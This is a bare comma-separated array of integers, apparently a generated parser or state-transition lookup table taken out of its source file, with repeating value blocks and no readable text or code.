35684,28618,26678,23511,23511,32506,33699,34585,20402,24035,32562,26973,24036,23114,23114,33377,33773,23029,20271,23511,23511,30621,23511,23860,24035,33791,21553,26576,36558,23114,33809,23036,32857,26047,23511,33827,23634,24035,24035,23110,23114,23114,31252,23511,33845,23628,24035,24459,23111,23114,33869,27078,30791,29783,24035,24742,19872,33895,23266,26462,19710,33879,33919,26577,26597,24123,24930,21930,20208,30501,33953,25268,20252,33983,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36322,19552,23390,33634,35154,34008,34024,34058,35544,34106,34128,26811,33151,34144,34169,34212,23114,34228,34244,34278,34315,23511,34331,34347,34380,34413,24035,24663,26576,34429,34453,34477,29534,33811,22468,34499,34524,34557,25170,34580,35436,23937,34601,24035,24341,26453,23113,34638,34662,23114,24236,28618,34684,34703,34729,23511,35352,34753,34799,24035,34815,32558,34848,34888,35814,34923,23165,29137,23606,30326,30730,34939,33023,30562,36848,34979,24035,24847,34996,23114,23114,35032,29695,35054,23511,23511,35091,33296,35124,24296,28235,24361,36276,32772,35067,35189,27301,30855,24852,22452,35211,35237,35316,25500,35270,23405,24304,35304,29362,24036,23114,35332,19829,26577,26597,20211,23008,19876,20208,35368,28823,23920,32336,35405,20141,24569,31691,35421,35479,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,35944,22795,21605,33647,35877,35513,30962,35529,34073,35557,24035,24035,20405,31107,23114,23114,23114,35590,34713,23511,23511,23511,35641,19803,29408,32937,25298,24035,35657,23115,27849,24760,35679,26205,22468,23511,35700,24907,24901,35075,31893,34980,24035,24035,24035,24035,23113,35009,23114,23114,23114,28618,35716,30970,23511,23511,23511,34585,23215,24035,24035,24035,24036,35735,23114,23114,23114,27105,35756,35790,23511,23511,23511,35254,35446,24035,24035,31223,35809,23114,23114,23036,36825,35830,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,31031,20355,19872,33903,23266,24036,23114,28686,19829,26577,26597,20211,23008,23424,20208,24711,31065,24486,26578,27685,20141,19773,35851,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36307,19288,21605,35494,19702,32618,33437,31507,29939,25117,24035,27939,24036,27869,23114,26829,23114,22420,23494,23511,33132,23511,28306,19803,24035,34832,24035,24035,26576,23114,25153,23114,23114,33811,22468,23511,23511,35911,23511,23512,24694,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34585,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,20271,23511,23511,23511,23511,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,35929,19288,21605,25860,23112,36185,23511,36201,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,28306,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,23512,26748,24035,24035,24035,24035,24035,36249,23114,23114,23114,23114,28618,28835,23511,23511,23511,23511,34585,20402,24035,27151,24035,26760,23114,27989,23114,23114,36268,20271,23511,24436,23511,29703,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36292,19288,21605,36503,21922,32618,34534,31507,36522,24035,33793,24035,35864,23114,23114,36555,23417,22420,23511,23511,36574,26020,28306,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,23512,36592,24035,24035,36625,24035,24035,23113,23114,32961,23114,23114,29618,29700,23511,29086,23511,23511,34585,20402,36644,24035,24035,24036,29740,23114,23114,23114,29065,36663,31527,23511,23511,23511,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,31451,23112,36684,23511,36700,29939,24035,24035,24035,30185,23114,23114,23114,27526,22420,23511,23511,23511,32865,28306,19803,36743,24035,27017,24035,26576,27535,23114,31432,23114,33811,22468,33271,23511,32128,23511,23512,24694,24035,27196,24035,24035,24035,23113,32459,23114,23114,23114,28618,29700,33829,36762,23511,23511,34585,20402,24035,36746,24035,29722,23114,23114,34437,23114,34907,20271,23511,23511,18801,23511,23206,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,36837,24035,24035,33739,23114,23114,25094,23511,23261,23628,24035,36780,23111,24073,19874,27078,35344,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22720,19288,36799,36866,17466,36890,36864,21991,22211,22987,17556,17575,22288,17486,17509,17525,18373,17631,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,36883,36906,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22705,19288,19457,36866,17466,36890,36866,19375,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36124,19288,36951,36866,17466,36890,36866,21991,22404,22987,17556,17575,22288,17486,17509,17525,18373,18567,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,36979,36995,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36139,19288,19457,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18027,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36139,19288,21529,24035,23112,23033,23511,31507,25377,24035,24035,24035,24036,23114,23114,23114,23114,37040,23511,23511,23511,23511,28086,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,24254,37079,23511,23511,23511,23511,23512,34766,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34585,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,20271,23511,23511,23511,23511,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,37112,37160,18469,36866,17466,36890,36866,17656,37174,22987,17556,17575,22288,17486,17509,17525,18373,18537,22984,17553,17572,22285,18780,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,36883,36906,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,53264,18,49172,57366,24,8192,28,102432,127011,110630,114730,106539,127011,127011,127011,53264,18,18,0,0,57366,0,24,24,24,0,28,28,28,28,102432,0,0,127011,0,2220032,110630,0,0,0,114730,106539,0,2170880,2170880,2170880,2170880,0,0,0,2170880,2170880,2170880,3002368,2170880,2170880,2170880,2170880,2170880,2170880,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2576384,2215936,2215936,2215936,2416640,2424832,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2543616,2215936,2215936,2215936,2215936,2215936,2629632,2215936,2617344,2215936,2215936,2215936,2215936,2215936,2215936,2691072,2215936,2707456,2215936,2715648,2215936,2723840,2764800,2215936,2215936,2797568,2215936,2822144,2215936,2215936,2854912,2215936,2215936,2215936,2912256,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,0,0,180224,0,0,2174976,0,0,2170880,2617344,2170880,2170880,2170880,2170880,2170880,2170880,2691072,2170880,2707456,2170880,2715648,2170880,2723840,2764800,2170880,2170880,2797568,2170880,2170880,2797568,2170880,2822144,2170880,2170880,2854912,2170880,2170880,2170880,2912256,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2215936,2215936,2215936,2215936,2609152,2215936,2215936,2215936,2215936,2215936,2215936,2654208,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,0,0,184599,280,0,2174976,0,0,2215936,3117056,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,544,0,546,0,0,2179072,0,0,0,552,0,0,2170880,2170880,2170880,3117056,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,0,0,0,2158592,2158592,2232320,2232320,0,2240512,2240512,0,0,0,644,0,0,0,0,0,0,2170880,2170880,2170880,2170880,2170880,2170880,3129344,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2215936,2215936,2215936,2400256,2215936,2215936,2215936,2215936,2711552,2170880,2170880,2170880,2170880,2170880,2760704,2768896,2789376,2813952,2170880,2170880,2170880,2875392,2904064,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2453504,2457600,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,167936,0,0,0,0,2174976,0,0,2215936,2215936,2514944,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2592768,2215936,2215936,2215936,2215936,2215936,2215936,2215936,32768,0,0,0,0,0,2174976,32768,0,2633728,2215936,2215936,2215936,2215936,2215936,2215936,2711552,2215936,2215936,2215936,2215936,2215936,2760704,2768896,2789376,2813952,2215936,2215936,2215936,2875392,2904064,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,0,0,0,0,0,2174976,0,65819,2215936,2215936,3031040,2215936,3055616,2215936,2215936,2215936,2215936,3092480,2215936,2215936,3125248,2215936,2215936,2215936,2215936,2215936,2215936,3002368,2215936,2215936,2170880,2170880,2494464,2170880,2170880,0,0,2215936,2215936,2215936,2215936,2215936,2215936,3198976,2215936,0,0,0,0,0,0,0,0,0,0,2170880,2170880,2170880,2170880,2170880,2170880,0,0,0,2379776,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2445312,2170880,2465792,2473984,2170880,2170880,2170880,2170880,2170880,2170880,2523136,2170880,2170880,2641920,2170880,2170880,2170880,2699264,2170880,2727936,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2879488,2170880,2916352,2170880,2170880,2170880,2879488,2170880,2916352,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3026944,2170880,2170880,3063808,2170880,2170880,3112960,2170880,2170880,3133440,2170880,2170880,3112960,2170880,2170880,3133440,2170880,2170880,2170880,3162112,2170880,2170880,3182592,3186688,2170880,2379776,2215936,2523136,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2596864,2215936,2621440,2215936,2215936,2641920,2215936,2215936,0,0,0,0,0,0,2179072,548,0,0,0,0,287,2170880,0,2170880,2170880,2170880,2400256,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3117056,2170880,2170880,2170880,2170880,2215936,2215936,2699264,2215936,2727936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2879488,2215936,2916352,2215936,2215936,0,0,0,0,188416,0,2179072,0,0,0,0,0,287,2170880,0,2171019,2171019,2171019,2400395,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,3031179,2171019,3055755,2171019,2171019,2215936,3133440,2215936,2215936,2215936,3162112,2215936,2215936,3182592,3186688,2215936,0,0,0,0,0,0,0,0,0,0,2171019,2171019,2171019,2171019,2171019,2171019,2523275,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2597003,2171019,2621579,2170880,2170880,2170880,3162112,2170880,2170880,3182592,3186688,2170880,0,0,0,2170880,2170880,2170880,2170880,2170880,2170880,0,53264,0,18,18,24,24,0,4337664,28,2170880,2170880,2170880,2629632,2170880,2170880,2170880,2170880,2719744,2744320,2170880,2170880,2170880,2834432,2838528,2170880,2908160,2170880,2170880,2936832,2215936,2215936,2215936,2215936,2719744,2744320,2215936,2215936,2215936,2834432,2838528,2215936,2908160,2215936,2215936,2936832,2215936,2215936,2985984,2215936,2994176,2215936,2215936,3014656,2215936,3059712,3076096,3088384,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2445312,2215936,2465792,2473984,2215936,2215936,2215936,2215936,2215936,2215936,2171166,2171166,2171166,2171166,2171166,0,0,0,2171166,2171166,2171166,2171166,2171166,2171166,2171019,2171019,2494603,2171019,2171019,2215936,2215936,2215936,3215360,0,0,0,0,0,0,0,0,0,0,0,0,0,2379776,2170880,2170880,2170880,2170880,2985984,2170880,2994176,2170880,2170880,3016168,2170880,3059712,3076096,3088384,2170880,2170880,2170880,2170880,2170880,2170880,0,53264,0,18,18,124,124,0,128,128,2170880,2170880,2170880,3215360,0,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2486272,2170880,2170880,2506752,2170880,2170880,2170880,2535424,2539520,2170880,2170880,2588672,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2920448,2170880,2170880,2170880,2990080,2170880,2170880,2170880,2170880,3051520,2170880,2170880,2170880,2170880,2170880,2170880,3170304,0,2387968,2392064,2170880,2170880,2433024,2170880,2170880,2170880,3170304,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2486272,2215936,2215936,2506752,2215936,2215936,2215936,2535424,2539520,2215936,2215936,2588672,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,0,0,0,0,0,2174976,136,0,2215936,2215936,2920448,2215936,2215936,2215936,2990080,2215936,2215936,2215936,2215936,3051520,2215936,2215936,2215936,2215936,2215936,2215936,2215936,3108864,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,3026944,2215936,2215936,3063808,2215936,2215936,3112960,2215936,2215936,2215936,3170304,0,0,0,0,0,0,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2453504,2457600,2170880,2170880,2170880,2486272,2170880,2170880,2506752,2170880,2170880,2170880,2537049,2539520,2170880,2170880,2588672,2170880,2170880,2170880,1508,2170880,2170880,2170880,1512,2170880,2920448,2170880,2170880,2170880,2990080,2170880,2170880,2170880,2461696,2170880,2170880,2170880,2510848,2170880,2170880,2170880,2170880,2580480,2170880,2605056,2637824,2170880,2170880,18,0,0,0,0,0,0,0,0,2220032,0,0,0,0,0,0,0,2170880,2170880,2170880,2170880,2686976,2748416,2170880,2170880,2170880,2924544,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3121152,2170880,2170880,3145728,3158016,3166208,2170880,2420736,2428928,2170880,2478080,2170880,2170880,2170880,2170880,0,0,2170880,2170880,2170880,2170880,2646016,2670592,0,0,3145728,3158016,3166208,2387968,2392064,2215936,2215936,2433024,2215936,2461696,2215936,2215936,2215936,2510848,2215936,2215936,0,0,0,0,0,0,2179072,0,0,0,0,0,0,2170880,2215936,2215936,2580480,2215936,2605056,2637824,2215936,2215936,2686976,2748416,2215936,2215936,2215936,2924544,2215936,2215936,0,0,0,0,0,0,2179072,0,0,0,0,0,286,2170880,2215936,2215936,2215936,2215936,2215936,3121152,2215936,2215936,3145728,3158016,3166208,2387968,2392064,2170880,2170880,2433024,2170880,2461696,2170880,2170880,2170880,2510848,2170880,2170880,1625,2170880,2170880,2580480,2170880,2605056,2637824,2170880,647,2170880,2170880,2170880,2400256,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2576384,2170880,2170880,2170880,2170880,2170880,2609152,2170880,2170880,2686976,0,0,2748416,2170880,2170880,0,2170880,2924544,2170880,2170880,2170880,2170880,2170880,2170880,0,53264,0,18,18,24,0,0,28,28,2170880,3141632,2215936,2420736,2428928,2215936,2478080,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2646016,2670592,2752512,2756608,2846720,2961408,2215936,2998272,2215936,3010560,2215936,2215936,2215936,3141632,2170880,2420736,2428928,2752512,2756608,0,2846720,2961408,2170880,2998272,2170880,3010560,2170880,2170880,2170880,3141632,2170880,2170880,2490368,2215936,2490368,2215936,2215936,2215936,2547712,2555904,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,0,0,0,0,0,2174976,245760,0,3129344,2170880,2170880,2490368,2170880,2170880,2170880,0,0,2547712,2555904,2170880,2170880,2170880,0,0,0,0,0,0,0,0,0,2220032,0,0,45056,0,2584576,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2170880,2170880,2170880,2170880,0,0,0,2170880,2170880,2158592,0,0,0,0,0,0,0,0,2220032,0,0,0,0,0,0,0,0,1482,97,97,97,97,97,97,97,1354,97,97,97,97,97,97,97,97,1148,97,97,97,97,97,97,97,2584576,2170880,2170880,1512,0,2170880,2170880,2170880,2170880,2170880,2170880,2441216,2170880,2527232,2170880,2600960,2170880,2850816,2170880,2170880,2170880,3022848,2215936,2441216,2215936,2527232,2215936,2600960,2215936,2850816,2215936,2215936,0,0,0,0,0,0,2179072,0,0,0,0,0,